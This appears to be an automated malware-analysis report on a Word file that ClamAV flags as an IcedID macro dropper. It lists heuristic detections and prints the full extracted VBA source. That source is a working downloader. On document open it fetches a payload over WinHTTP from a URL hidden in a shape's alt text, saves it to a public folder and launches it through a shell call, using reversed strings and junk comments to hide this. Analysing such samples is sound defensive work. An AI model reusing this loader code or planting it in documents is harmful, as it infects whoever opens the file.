MALICIOUS
290
Risk Score
Heuristics 7
-
ClamAV: Doc.Macro.ICEID1020-9781212-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.ICEID1020-9781212-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
eLjVO(lmpJq + "." + "shell").exec (aubwQ) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set FRTjW = VBA.CreateObject(zJGLt + "" + BzBaf) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 14170 bytes |
SHA-256: 68f5f09014a8f3f2bb2e4528e4ab32a31c0c39b56a4023ac3981f6d8066f7d65 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "YHHup"
Sub nJglC(YSbzu, Optional ByVal EpsXI As String = "c:\users\public\wKUXj.txt", Optional ByVal BzBaf As String = "systemobject")
' Carboxyl
' Pincers unisex test imp
' Antics problems yielded electing
' Carnivals superpowers
' Antagonist alien liquidating
' Countermanded fraternal
' Stream reassign
' Ethics healthiness blackboards deceitful
' Stoically seizing knowledgeable accusations thebes
' Declining economists iatrogenic exoneration
' Seminar mortices carrots
' Distilled romped arrases
' Plainest soporific chiffon
' Moulding narration mainly goofy
' Smellier maims score
' Berth
' Unload providing
' Overhears swappable concentrating drums accretion
' Cove
' Recreating pageful kneecap improvement puppet
' Continence gigabytes randomising
' Inspire cute baptises discloses refuels nightmare pitching
' Flaring slaughterhouse buttercups
' Motivated ranged guardedness firmly
' Twined cancan functionary buffet accurate
' Generated rigidities analogues psoriasis
' Herdsmen firelighters proteins
' Nausea
' Manhole estonia
' Humanity
Set FRTjW = VBA.CreateObject(zJGLt + "" + BzBaf)
' Boffin unsealing
' Intently jaywalker formalin panoramic
' Srilanka punning definitely dismally
' Exporter wintertime garlands disciplinary tarns paul
' Accordance illusions constellations
Set LAqXy = FRTjW.CreateTextFile(EpsXI)
' Hydrants
' Mariner inauspicious overturn
' Roamed subscripts insensitively cursory stealer yorker disconcerting
' Sited hulk sweaty
' Boffins midstream
LAqXy.WriteLine YSbzu
' Wapitis mysteriously intaglio luxuriance
' Lateness willing lachrymal kneel
' Festooning
' Salve raster unwarranted sympathetic squire arresting existence
' Wracked brasher interrelations enthusiast
' Leered toning
LAqXy.Close
' Hire presumable
' Introduces overhand vandalising outbursts
' Loci
' Convected ptarmigans temporary ecstatically defusing
' Stunned wast sink
' Finned valencies that
' Rammed ole ablebodied legatee
' Blushingly gagging subsist haughtier
' Converge equinox mistyping yorker arrival
' Mourned sinking plasm
' Inhospitable pianissimo truffle myxomatosis closeness fiver
' Traceability dominant paginate erosional interest
' Intercede estranged heliocentric
' Ophthalmologist overambitious quirky
' Yields contentious asses
' Sinned nagger martyrs stolid dunking
' Oafs invalidate parliamentarian forehead
' Asters observances garrisoned saddlers
' Repudiates cubic splitter
' Verifying breastbone recalling unfeeling
' Debatable reschedule prosecuted sleaziest elongating
' Disenfranchise crosier newest
' Upgradings forwarder emptier ambergris briers
' Kudus abstentions willing adaptivity ethiopia palatability
' Unwind
' Fewest recourse antithetical blackleg
' Aforesaid jointures
' Thrust fogey
' Dungeons ionised alcoholic cosmically
' Completion wheelchairs atomisation occluded
' Snipers walk consigns exerts approximately speechlessly
' Recur processor flow paul treader
' Hospices
' Plead inflates
' Dereliction godliness chrysanthemums
' Valet altitude dumfounded
' Detector redheaded topheavy functioned amp
' Aggravating iciness
End Sub
' Ordeal tabernacles egotistic wining
' Bard susceptibilities jurists sucker reversible
' Fibroblasts splat tenancy
' Tory airflow
Sub AutoOpen()
' Kidnapper housekeeping yearbooks navigating
' Alder siberian articulate accessibility midship tethering
' Torturer endure
' Sprawls majors bonnie compatibly
' Streamlines boulder ebullience cravat brans
' Acoustically blows annulus impassioned citation
' Swelling premeditation averaged
' Revocable relink puritans ebullience catholic
' Neat delight hilltop marshmallows toothbrush
' Conciliar astound
' Legionnaires backstroke waviest
' Biospheres secretariat
' Wickedest orientations refused
' Raft
' Strangling rueful herbalist
' Tortoises housebuilding linchpin woodland
' Nurseryman spreads
' Salsa bidden prism trouts masher
' Likeable slipperiness abstainer
' Preliminaries constitutions
' Sources womanising
' Recycles retires unintentionally
' Going tares resonantly withered besiege hairspray
' Stark meditations caw frontals
' Dramatise instants saws revamping fawn arcade
' Grammes manfully caters distinguishably
' Neglect symbiotically footstool
' Stylists trimaran processor sidelights flay casework
' Patent counterfoils sigh
' Thimbles oppressing
' Upsilon mackerel adventurers oh punching
' Glia supplements soulful possibilities wellwishers
Dim WXqJz As New NAWgT
' Wile hydro documentation thalidomide
' Blockbusting gormless speck siftings amortise emetic
' Ligatured scrupulously yelpings molybdenum
' Activations humble contexts gloves paperthin lyrics
' Cliff futurity innards peddle egret
' Fierce paves undisciplined
SCYdc = ""
' Final magazines musts tourers
' Protrudes queasy bob greenfly juniper professionalism
' Continual overtops brutalisation gibbets gestures
' Crusher
' Inciting taxing
' Physiotherapist aweless cytotoxic enlarges whitewash subdivision
' Mushrooms pointedly harvard
' Slushier
' Trims precisions
' Smelliest fears pliers intones recliner
' Principles carelessness
YSbzu = WXqJz.DuIiL(SgtiJ)
' Giddiness technical
' Specialisation
' Precisions signified guileless entomologists
' Foredeck monogamy accidentprone
' Phosphorus communes pictogram
nJglC inJfa(YSbzu)
' Drip lament evinces lantern planning flogger
' Entomologists auctioneers risible eerie
' Contextualisation trend tormented
' Entomological females haywire
' Librated auctioned prevails
' Victoriously compounded tuesday
' Blonds abdication moderations toning bloodlust parities
' Bludgeoned parliamentarian fabrication hail scrums
' Ghanian overspent appear
' Upbraids ticker accede foretastes
XFSZq jPiYJ(0) + "vr32 c:\users\public\wKUXj.txt", "wscript"
End Sub
Function jrHEz(SfJMR, gHeTq)
' Acceleration frequented dachshund irrigate
' Principalities sprayers hulls
' Rife ferociously hijackings
' Coefficient agency tumultuous processional excise
' Trendy sweetmeats antelope homeowners
jrHEz = Split(SfJMR, gHeTq)
End Function
Attribute VB_Name = "HKGlw"
' Diadems renegotiation
' Hands overpay demobs snubs
' Strawman abrogate quench formers
' Providential junker pale
' Ferocious housework atheists
' Sonar intermittently
' Sumo leaned
Function inJfa(PHlLe)
' Canoes imperialism
' Grafted discotheques caramels
' Reprieve calculates allayed brickwork debited liberia
' Ducting salesperson york doldrums boasted
' Piths spaghetti smiled
' Trespass
inJfa = StrConv(PHlLe, vbUnicode)
' Bedfellows adipose
' Chromite hydrogenation gaud congeals unrecoverable
' Prep portraits
' Martingale annexations
End Function
' Fibber bottles mixing
' Lodged unseeded precept fact
' Bipolar crochets inconsistently temperamentally
' Belches housewife
Function jSfja()
' Drainer hearties voluminous precariously
' Upon cannes nutritive unsurprising
' Ringlet
' Arak lives hurtling dramatics
' Reinterpret laybys unsigned
' Unbent attainments
' Vitreous pipped
' Bloodworm spectacle clumping
' Ascertaining clarifies dissect
' Coma nosing expect
' Counterfoils pluralism trite abstentions cresting
With ActiveDocument.shapes(1)
jSfja = .AlternativeText
End With
End Function
' Spectrophotometry
' Triage reinitialising geographer harmfully interjects
' Catapult
' Pickerel
' Unchronicled itemised adding
Function jPiYJ(peoMq)
' Wirings boatman
' Ichneumon repulsion semifinalist
' Matrons burgles
' Tunics
' Compelling helmets
' Pricing merry
' Throned diastolic monstrosities
' Motherstobe lilt principalities tango arguing deceptively
' Disincentives emissions unsullied
RwZTj = jrHEz(jSfja(), "~~~")
rSftk = RwZTj(peoMq)
jPiYJ = rSftk
End Function
Attribute VB_Name = "NAWgT"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Dyrdm(BHMgZ)
' Dent plummet monday
' Truncates sprints
' Modem construct propinquity nitroglycerine
' Pillar feminism
' Parallaxes everting
' Antelopes laminates sardonic
' Characterising overturns demonstrate rediscovery funny palaeographic
' Aardwolf harping
' Textile dosing varicose candour
' Wider reverberant
' Hydroxide loved succumbs
' Decorators visitations wrinkling
' Impractical harasses
' Magnanimity libya recrystallisation
' Jealous monoculture rerun gorgeously
' Strangely unmnemonic
' Aspirates enounces wafting malignantly troupes pervade
zHtDd = BHMgZ
kVYUr = Len(zHtDd)
For wZMmU = 0 To kVYUr - 1
' Peculiarly guerrilla hexameter regimental
' Radon thence
' Codpiece chrysanthemum exorcising crotch
' Fermenting baldness
' Illustrative peckish superglue democratic
' Exaction
' Overtures worsted
' Jugular
' Incrementally unpronounceable sprinter emerald substantiating assonance
' Milling bookbinders
' Sequestrated lowlanders
' Earshot heirs
' Professionally buffet coverage topological
' Telecommunication prayerful premier habitats spasmodic
' Invocation jaw gristle snuggled transmuting rebus
' Sole stringently wiped afresh squirting mountaineers
klCUY = klCUY & Mid(zHtDd, (kVYUr - wZMmU), 1)
Next wZMmU
' Deficiency construct
' Epigones windows tirade brawled flopping
' Tipple brains warfare labourers
' Unconstitutionally rev grew
' Retro predetermination
Dyrdm = klCUY
End Function
' Extremity politicking rationalising
' Resetting landslide heavens
' Occasion correlates commiseration tarmac whooping
' Hoodwinking transgressed proprietor disembarked tongueincheek
' Elect pirates primed rebuttable
' Creepers wrongdoers nonsensical
Function DuIiL(wVJHU)
' Regeneration chesterfield muscling
' Manacle repositioning stopover
' Foiling untraceable colliers
' Axolotl blighted energised surrealist
' Backpedalled sparred divorced
Dim xzxal As Object
' Beirut
' Episcopalian absolute wellmeaning liberalising unsurpassable cues
' Corps frizzle monoculture
' Distribute markedly tester
' Freefalling avoided
' Reunions coelenterates wheedling
' Catamaran devote glowed
' Goblins pier predictably
' Showed
Set xzxal = CreateObject(Dyrdm(wVJHU) + "." + Dyrdm(wVJHU) + "Request.5.1")
' Foster sturdiest filthily brickred
' Meats quadripartite
' Arrows inferno healthy
' Clarification wielding
' Administratively
' Hybridisation
' Spitfires inherent audaciously
' Wellmeaning assassinations
' Dessert trouper
' Closer abdomens encountered
' Express sulphurous inclusion
' Wed hijackers menial disarms delicacies sup
' Workless videos teaching adversely extorting tideless greenish salivate
' Magnetohydrodynamical epidermis straggly
' Panoramic iambic scantiest
' Lightweight funnily fatty sixteen spandrels
' Dumbest concatenate
' Sacraments vapour sequins displeased
' Heiress gonads decriminalising lockjaw
' Distracted prance
' Hamstrings likable persevering dousing temperance
' Occupy pollutants
' Aardwolf priceless intercontinental
qkzVl = jPiYJ(1)
' Circumscribed solders review
' Bristle walls understated
' Torques hitched manipulated revivalists
' Conquer
' Omit bygone toadstool
xzxal.Open "GET", Dyrdm(qkzVl), False
' Selfsacrifice neptunium septicaemia heaviness
' Seventh emended castigate
' Cordiality entailment traders mistaken
' Mouthed taunting vulgarity
' Itemised anagrammatically
xzxal.Send
' Regenerations windbreak
' Reversibility lowercase
' Muzzling
' Indicates jogs upon caravanning keenness
' Disdainfully clasping unchristian sentimentalism
' Issue portraits
' Advisability retail
DuIiL = xzxal.responsebody
End Function
Attribute VB_Name = "iIzet"
Public Const SgtiJ As String = "ptthniw"
Public Const zJGLt As String = "scripting.file"
Function eLjVO(RuwOH)
Set eLjVO = CreateObject(RuwOH)
End Function
Sub XFSZq(aubwQ, lmpJq)
' Plodder scarcely shored ridings
' Toughness
' Retreats deterioration overstepping
' Leashed snuffbox redesigning
' Demons blockages
' Prototypes electron cruelties
' Gantry gerrymander away curvaceous lintel
' Guilder faunas leipzig mile
' Sewed fractionating fall imprinting glaring describer
' Rightwards hogged evangelise chuckled petrification beater
' Burnt
' Oasis
' Extracting oceanographers
' Selfrespect imperium
' Denims trademarks expatriate
' Unreferencing float
' Inconsiderate enthusing modernisations murky
' Passport vouched prevues communing
' Disaffected
eLjVO(lmpJq + "." + "shell").exec (aubwQ)
' Submissiveness transportability
' Stucco curies fluctuated parliamentary beermat seafood
' Motivations hogg silent bobby
' Dickens vetoed
' Aloof reassignment
' Weakest regeneration argumentative
' Rotatable
' Goatees deliverers
' Colander bouquet synchronicity commodores
' Said fibbing
' Gang snuggling preening
' Cinch often dissensions indeed bemoaning
' Proceeded salmons akin morbidly channel
' Comprehensive lather expressionlessly firebrand
' Tempter beadwork elusions
' Tethered tauntingly lobbing
' Rapporteur fawned empiricist
' Disappointment attaining cogently site clampdown slippers transparent
' Commons
' Ferried establishments
' Commercials publicity triplex
' Invisibility pastures avens
' Quibbles zapping shooter
' Enforce antelopes
' Gluttonous succeeding subculture affectionately sin
' Clustering
' Demurring impure etymologically
' Nosy sesotho
' Dues
' Foliated running silverware
' Den cantons ornate
' Sylphs lettings
' Poorly laity scriptural
' Unsought octane scrutineers
' Satyr backhand
' Umlauts fiendish sunsets newly
' Juniors eats morale
' Maturing
' Errand converge
' Slanging
' Scrappy spirant
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 49664 bytes |
SHA-256: 596a16610e1594e7ba0a7266a3351bd589a8013e94eaa8b518bed33d4483c963 |
|||
|
Detection
ClamAV:
Doc.Macro.ICEID1020-9781212-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.